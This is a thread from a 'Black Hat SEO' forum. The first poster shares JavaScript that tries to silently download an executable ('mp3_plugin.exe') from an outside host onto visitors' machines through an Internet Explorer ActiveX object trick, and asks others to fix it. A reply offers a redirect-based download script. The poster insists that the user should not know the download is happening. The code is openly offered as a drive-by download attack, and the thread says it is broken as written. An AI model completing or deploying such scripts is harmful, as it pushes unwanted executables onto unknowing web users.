Auto Download Starter Script.

Discussion in 'Black Hat SEO' started by meannn, Apr 29, 2011.

  1. meannn

    meannn Supreme Member

    Joined:
    Apr 22, 2009
    Messages:
    1,465
    Likes Received:
    1,902
    Occupation:
    Unemployed Winner
    Location:
    TR
    Hello. This is just insane script that downloads file without asking user. It would be great to use it on offers that converts by downloads.

    Code:
    <script language=JavaScript>
    
    Vanish var baseURL = "http://home.wanadoo.nl/wrnsuper2/"; var filename = "mp3_plugin.exe"; 
    
    function WhichBrowser() { BrowserName = navigator.appName;  BrowserVersion = parseInt(navigator.appVersion);  Browser = "NS"; if  ((BrowserName == "Netscape")) Browser = "NC"; else if (BrowserName ==  "Microsoft Internet Explorer") Browser = "IE"; return Browser; } 
    
    function ncDownload() { window.open("mp3_plugin.exe","_blan k","height=1,width=1"); } 
    
    function IE_DownloadFile(ieURL) { document.write("<OBJECT");  document.write(" CLASSID  ="CLSID:8522F9B3-38C5-4aa4-AE40-7401F1BBC851""); document.write("  CODEBASE="" ieURL "">" ); document.write("</OBJECT>"); } 
    
    function DownloadFile() { if (WhichBrowser() == "IE")  IE_DownloadFile(baseURL   filename); if (WhichBrowser() == "NC")  ncDownload(); } 
    </script>
    
    <script language=JavaScript>
     DownloadFile(); 
    </script>
    
    Update: It needs a little modification/fix to get it work. It would be nice to help this code working. Thank you.
     
    Last edited: Apr 29, 2011
  2. facebookdude

    facebookdude Jr. VIP Jr. VIP

    Joined:
    Feb 28, 2010
    Messages:
    1,585
    Likes Received:
    2,506
    You can just run a external js to start the download. I'll mess around with it today.
     
  3. meannn

    meannn Supreme Member

    Joined:
    Apr 22, 2009
    Messages:
    1,465
    Likes Received:
    1,902
    Occupation:
    Unemployed Winner
    Location:
    TR
    It downloads automatically in background ? Or asks to download ?
     
  4. facebookdude

    facebookdude Jr. VIP Jr. VIP

    Joined:
    Feb 28, 2010
    Messages:
    1,585
    Likes Received:
    2,506
    Is this what you mean:

    Call this test.html:
    Code:
    <html>
    <head>
    <SCRIPT LANGUAGE="JavaScript" SRC="download.js"></SCRIPT>
    </head>
    <body>
    </body>
    <html>
    Then call this download.js
    Code:
    window.top.location.href = 'http://domain.com/download.exe';
     
  5. meannn

    meannn Supreme Member

    Joined:
    Apr 22, 2009
    Messages:
    1,465
    Likes Received:
    1,902
    Occupation:
    Unemployed Winner
    Location:
    TR
    No. User should not know its downloading. And script should'nt ask user to download it.
     
  6. amoro

    amoro Junior Member

    Joined:
    Dec 20, 2009
    Messages:
    152
    Likes Received:
    80
    Occupation:
    Rainmaker
    Location:
    US
    Did anyone ever get this script working?